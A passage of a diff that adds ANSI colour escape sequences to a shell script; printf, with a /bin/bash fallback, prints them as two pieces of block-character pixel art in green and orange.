+ \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m
+ \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m
+ \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m
+ \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m
+ \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m
+ \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m
+ \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m
+ \e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m
+ \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m
+ \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m
+ \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m
+ \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m
+ \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m
+ \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m
+ \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m
+ \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m
+ \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m
+ \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m
+ \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m
+ \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m
+ \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m
+'";
+ else
+ if [ -f "/bin/bash" ]; then
+ /bin/bash -c "printf '
+ \e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m
+ \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m
+ \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m
+ \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m
+ \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m
+ \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m
+ \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m
+ \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m
